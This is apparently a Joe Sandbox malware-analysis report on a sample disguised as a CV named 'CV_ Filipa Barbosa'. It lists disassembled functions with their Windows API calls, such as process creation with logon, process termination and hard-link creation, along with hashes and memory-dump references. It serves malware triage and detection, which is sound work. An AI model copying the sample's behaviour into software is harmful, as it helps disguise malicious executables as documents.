                                                                          • Opcode Fuzzy Hash: e41e702e4259db9ebe8bb4257c512bfa561b0254cc719854fe9a56e53698c46a
                                                                          • Instruction Fuzzy Hash: 3831C17210835AABC724DF59D849F9ABBEEFF88314F04091AF585D7191D631E904CB92
                                                                          Function 005CAF64 Relevance: 9.1, APIs: 6, Instructions: 73processCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 005CAFAE
                                                                          • OpenProcessToken.ADVAPI32(00000000), ref: 005CAFB5
                                                                          • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 005CAFC4
                                                                          • CloseHandle.KERNEL32(00000004), ref: 005CAFCF
                                                                          • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 005CAFFE
                                                                          • DestroyEnvironmentBlock.USERENV(00000000), ref: 005CB012
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                          • String ID:
                                                                          • API String ID: 1413079979-0
                                                                          • Opcode ID: 4d12fcabce6289775ae97d4defd32d6b2a12dd26307c5d584d374bf069011c69
                                                                          • Instruction ID: 79b0577b240bc2183e05a06966abb7e2010c0ecd240b023b168e25afa8fc2643
                                                                          • Opcode Fuzzy Hash: 4d12fcabce6289775ae97d4defd32d6b2a12dd26307c5d584d374bf069011c69
                                                                          • Instruction Fuzzy Hash: 67212C7250420DAFDB128FE4DD09FEE7FA9BB44308F148019FA01A6161D3769D61EB61
                                                                          Function 005FEBF6 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AAF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 005AAFE3
                                                                            • Part of subcall function 005AAF83: SelectObject.GDI32(?,00000000), ref: 005AAFF2
                                                                            • Part of subcall function 005AAF83: BeginPath.GDI32(?), ref: 005AB009
                                                                            • Part of subcall function 005AAF83: SelectObject.GDI32(?,00000000), ref: 005AB033
                                                                          • MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 005FEC20
                                                                          • LineTo.GDI32(00000000,00000003,?), ref: 005FEC34
                                                                          • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 005FEC42
                                                                          • LineTo.GDI32(00000000,00000000,?), ref: 005FEC52
                                                                          • EndPath.GDI32(00000000), ref: 005FEC62
                                                                          • StrokePath.GDI32(00000000), ref: 005FEC72
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                                                          • String ID:
                                                                          • API String ID: 43455801-0
                                                                          • Opcode ID: e84470c4c8d56e05974908f7bfd35ceab1befafd957d12fdb8bc3b0b51e7abbd
                                                                          • Instruction ID: 08b77929bccdbca81523339d1ecbccb6d042daed7e739994b799743439709cec
                                                                          • Opcode Fuzzy Hash: e84470c4c8d56e05974908f7bfd35ceab1befafd957d12fdb8bc3b0b51e7abbd
                                                                          • Instruction Fuzzy Hash: 6C11057200014DBFEB029F90DC88EEA7F6EEB09355F088122BE088A160D7719E55DBA0
                                                                          Function 005CE19B Relevance: 9.0, APIs: 6, Instructions: 48COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetDC.USER32(00000000), ref: 005CE1C0
                                                                          • GetDeviceCaps.GDI32(00000000,00000058), ref: 005CE1D1
                                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 005CE1D8
                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 005CE1E0
                                                                          • MulDiv.KERNEL32(000009EC,?,00000000), ref: 005CE1F7
                                                                          • MulDiv.KERNEL32(000009EC,?,?), ref: 005CE209
                                                                            • Part of subcall function 005C9AA3: RaiseException.KERNEL32(-C0000018,00000001,00000000,00000000,005C9A05,00000000,00000000,?,005C9DDB), ref: 005CA53A
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CapsDevice$ExceptionRaiseRelease
                                                                          • String ID:
                                                                          • API String ID: 603618608-0
                                                                          • Opcode ID: 728aef966ba5bf51c5d3e1e782c2ff0d25acdaa66bc0047050b6a0d33f0a65a7
                                                                          • Instruction ID: a35d6481e3eb01de6fd0ec90e641ff149f2437b9ab6616f558c1ea41944048af
                                                                          • Opcode Fuzzy Hash: 728aef966ba5bf51c5d3e1e782c2ff0d25acdaa66bc0047050b6a0d33f0a65a7
                                                                          • Instruction Fuzzy Hash: 640184B5A00715BFEB109FE58C4AF5EBFB9EB48351F048066EA04A7290D6709C00CFA0
                                                                          Function 005927EC Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • MapVirtualKeyW.USER32(0000005B,00000000), ref: 0059281D
                                                                          • MapVirtualKeyW.USER32(00000010,00000000), ref: 00592825
                                                                          • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00592830
                                                                          • MapVirtualKeyW.USER32(000000A1,00000000), ref: 0059283B
                                                                          • MapVirtualKeyW.USER32(00000011,00000000), ref: 00592843
                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 0059284B
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Virtual
                                                                          • String ID:
                                                                          • API String ID: 4278518827-0
                                                                          • Opcode ID: 1dd7854c533862634ea4351ac700458735fdde976fbea92f04cc4f8620f9bf74
                                                                          • Instruction ID: 930bb438b50fecfacbf5753f8f09542e77f98762e281681c40dbb93e87663f8a
                                                                          • Opcode Fuzzy Hash: 1dd7854c533862634ea4351ac700458735fdde976fbea92f04cc4f8620f9bf74
                                                                          • Instruction Fuzzy Hash: 010167B0902B5ABDE3008F6A8C85B52FFA8FF19354F04411BA15C47A42C7F5A864CBE5
                                                                          Function 005D9AD5 Relevance: 9.0, APIs: 6, Instructions: 44COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalExchangeInterlockedSection$EnterLeaveObjectSingleTerminateThreadWait
                                                                          • String ID:
                                                                          • API String ID: 1423608774-0
                                                                          • Opcode ID: dc0bcdad2680f63a896fb2d0d859618d03fa2f00b7b35746a2bf47cdb0cbc112
                                                                          • Instruction ID: 52e85bb6f7963659398f0319b7bb427aa3b40415898761cdebcad8d4c83c513b
                                                                          • Opcode Fuzzy Hash: dc0bcdad2680f63a896fb2d0d859618d03fa2f00b7b35746a2bf47cdb0cbc112
                                                                          • Instruction Fuzzy Hash: 5501A937201222ABD7251B58EC48EEB7B6BFF88701708552BF60392194DB749D00DB50
                                                                          Function 005D7BF7 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 005D7C07
                                                                          • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 005D7C1D
                                                                          • GetWindowThreadProcessId.USER32(?,?), ref: 005D7C2C
                                                                          • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 005D7C3B
                                                                          • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 005D7C45
                                                                          • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 005D7C4C
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                          • String ID:
                                                                          • API String ID: 839392675-0
                                                                          • Opcode ID: 3f8a9f23f0677b8eafeaa563ae4175233df3910d14b037dfc9dbc6752109d23d
                                                                          • Instruction ID: edc4b2ae2f057300b681b23be385cf55ca6ccf10301fb96f00302e9417ee956b
                                                                          • Opcode Fuzzy Hash: 3f8a9f23f0677b8eafeaa563ae4175233df3910d14b037dfc9dbc6752109d23d
                                                                          • Instruction Fuzzy Hash: E5F09A72241158BBE7201B529C0EEEF3F7DEFCAB11F04401AFA01D1091E7A41A41C6B5
                                                                          Function 005D9A20 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InterlockedExchange.KERNEL32(?,?), ref: 005D9A33
                                                                          • EnterCriticalSection.KERNEL32(?,?,?,?,00605DEE,?,?,?,?,?,0059ED63), ref: 005D9A44
                                                                          • TerminateThread.KERNEL32(?,000001F6,?,?,?,00605DEE,?,?,?,?,?,0059ED63), ref: 005D9A51
                                                                          • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00605DEE,?,?,?,?,?,0059ED63), ref: 005D9A5E
                                                                            • Part of subcall function 005D93D1: CloseHandle.KERNEL32(?,?,005D9A6B,?,?,?,00605DEE,?,?,?,?,?,0059ED63), ref: 005D93DB
                                                                          • InterlockedExchange.KERNEL32(?,000001F6), ref: 005D9A71
                                                                          • LeaveCriticalSection.KERNEL32(?,?,?,?,00605DEE,?,?,?,?,?,0059ED63), ref: 005D9A78
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                          • String ID:
                                                                          • API String ID: 3495660284-0
                                                                          • Opcode ID: e04da128f16f1d43ba5c339fa99140474c06a9b4973f2f6791270a8c5a9fa3db
                                                                          • Instruction ID: 1dd9c3757bca2e3f767aeadc91662db7d5f00237cf1982448b0ad1a7fde271ce
                                                                          • Opcode Fuzzy Hash: e04da128f16f1d43ba5c339fa99140474c06a9b4973f2f6791270a8c5a9fa3db
                                                                          • Instruction Fuzzy Hash: E7F08236141211ABD7211BA8EC8DDEF7B7BFF85301B185527F603921A4DB759A01DB50
                                                                          Function 00591CDE Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 250COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AF4EA: std::exception::exception.LIBCMT ref: 005AF51E
                                                                            • Part of subcall function 005AF4EA: __CxxThrowException@8.LIBCMT ref: 005AF533
                                                                          • __swprintf.LIBCMT ref: 00591EA6
                                                                          Strings
                                                                          • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00591D49
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Exception@8Throw__swprintfstd::exception::exception
                                                                          • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                          • API String ID: 2125237772-557222456
                                                                          • Opcode ID: fa34430168bd5193b191f76a1e7458d38f168d6167740c2b4e07c7db882ebe9f
                                                                          • Instruction ID: 3f9a424e4d6341a23fa1a33f9bca029b5353c871adc75ba78b87f7d333792301
                                                                          • Opcode Fuzzy Hash: fa34430168bd5193b191f76a1e7458d38f168d6167740c2b4e07c7db882ebe9f
                                                                          • Instruction Fuzzy Hash: FE916A71504612AFCB15EF64C89ACABBFA9FF85710F00492DF885972A1DB70ED05CB92
                                                                          Function 005EAFE0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 229COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • VariantInit.OLEAUT32(?), ref: 005EB006
                                                                          • CharUpperBuffW.USER32(?,?), ref: 005EB115
                                                                          • VariantClear.OLEAUT32(?), ref: 005EB298
                                                                            • Part of subcall function 005D9DC5: VariantInit.OLEAUT32(00000000), ref: 005D9E05
                                                                            • Part of subcall function 005D9DC5: VariantCopy.OLEAUT32(?,?), ref: 005D9E0E
                                                                            • Part of subcall function 005D9DC5: VariantClear.OLEAUT32(?), ref: 005D9E1A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                                          • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                                          • API String ID: 4237274167-1221869570
                                                                          • Opcode ID: 069c65cb8e5298c86edca5784234658d61074017023fa843c6fd78b93a708abd
                                                                          • Instruction ID: 83ede62f99beb650ffefc64c85bfdd01e129cf19a2bce98d1d9c1336bce0c8c7
                                                                          • Opcode Fuzzy Hash: 069c65cb8e5298c86edca5784234658d61074017023fa843c6fd78b93a708abd
                                                                          • Instruction Fuzzy Hash: 929168746083429FCB14DF69C48995BBBE5BFC9700F04886EF89A9B361DB31E905CB52
                                                                          Function 005D5347 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 180windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AC6F4: _wcscpy.LIBCMT ref: 005AC717
                                                                          • _memset.LIBCMT ref: 005D5438
                                                                          • GetMenuItemInfoW.USER32(?), ref: 005D5467
                                                                          • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 005D5513
                                                                          • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 005D553D
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ItemMenu$Info$Default_memset_wcscpy
                                                                          • String ID: 0
                                                                          • API String ID: 4152858687-4108050209
                                                                          • Opcode ID: 9a40a083765e728b92b5a191b3425abc3c2abe47484c89fa68c34fbd86a0d884
                                                                          • Instruction ID: 2eb68fcc6750399ce41434a53266f00b28b906934475cf9abf24f5a5b647f7a9
                                                                          • Opcode Fuzzy Hash: 9a40a083765e728b92b5a191b3425abc3c2abe47484c89fa68c34fbd86a0d884
                                                                          • Instruction Fuzzy Hash: 3B51E0715047029BDB269F2CD845BABBFE9FB85351F040A2BF895D3291EB60CD448B52
                                                                          Function 005D0213 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 005D027B
                                                                          • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 005D02B1
                                                                          • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 005D02C2
                                                                          • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 005D0344
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorMode$AddressCreateInstanceProc
                                                                          • String ID: DllGetClassObject
                                                                          • API String ID: 753597075-1075368562
                                                                          • Opcode ID: e57df1341af8e374b2d68f7b868c25f3bd4e0e76627c59dc3263c1fc7063f736
                                                                          • Instruction ID: 26147ca813592da59355241eb93167bdb9ce8058566e172043f1a59f570aad8e
                                                                          • Opcode Fuzzy Hash: e57df1341af8e374b2d68f7b868c25f3bd4e0e76627c59dc3263c1fc7063f736
                                                                          • Instruction Fuzzy Hash: F8418E71600204EFDB29CF58C885B9A7FB9FF44311F1498ABAD099F286D7B1D944CBA0
                                                                          Function 005D5007 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005D5075
                                                                          • GetMenuItemInfoW.USER32 ref: 005D5091
                                                                          • DeleteMenu.USER32(00000004,00000007,00000000), ref: 005D50D7
                                                                          • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00651708,00000000), ref: 005D5120
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Menu$Delete$InfoItem_memset
                                                                          • String ID: 0
                                                                          • API String ID: 1173514356-4108050209
                                                                          • Opcode ID: 3e31c8a3daefd143e21ed09a6c0a78a108d11cc691177b9c911e650f3c8dcc6e
                                                                          • Instruction ID: 62e2b2e7f72b03d3da8ddd6889764fe9cb3b2a4054292d20b6d2701b8dd24dc3
                                                                          • Opcode Fuzzy Hash: 3e31c8a3daefd143e21ed09a6c0a78a108d11cc691177b9c911e650f3c8dcc6e
                                                                          • Instruction Fuzzy Hash: 3C419D712057029FD720DF68D888B6ABBE9BF85324F144A1FF99597391E730E940CB62
                                                                          Function 005DE698 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 005DE742
                                                                          • GetLastError.KERNEL32(?,00000000), ref: 005DE768
                                                                          • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 005DE78D
                                                                          • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 005DE7B9
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CreateHardLink$DeleteErrorFileLast
                                                                          • String ID: p1Wu`KXu
                                                                          • API String ID: 3321077145-4063981602
                                                                          • Opcode ID: 71dea5d3ca26558956bf5f06c564e09686f3a85822aa006b98d95c18343464d8
                                                                          • Instruction ID: 5db64271241b338b7122e86b66d324a4181da33429449443450b33490af91b07
                                                                          • Opcode Fuzzy Hash: 71dea5d3ca26558956bf5f06c564e09686f3a85822aa006b98d95c18343464d8
                                                                          • Instruction Fuzzy Hash: EB410839600651DFCF11AF29C44A94DBBE5BF99710B09849AE9469F3A2CB35FD00CB91
                                                                          Function 005F0567 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CharLowerBuffW.USER32(?,?,?,?), ref: 005F0587
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharLower
                                                                          • String ID: cdecl$none$stdcall$winapi
                                                                          • API String ID: 2358735015-567219261
                                                                          • Opcode ID: d9e392f167e56af90cd3494a5d05a8346472eb775187c237199920c61a6c2af4
                                                                          • Instruction ID: 2d7bbfdf72cdb5c6111c529bc0971dddcc78b7a259d130d9dbf0e7bff448f291
                                                                          • Opcode Fuzzy Hash: d9e392f167e56af90cd3494a5d05a8346472eb775187c237199920c61a6c2af4
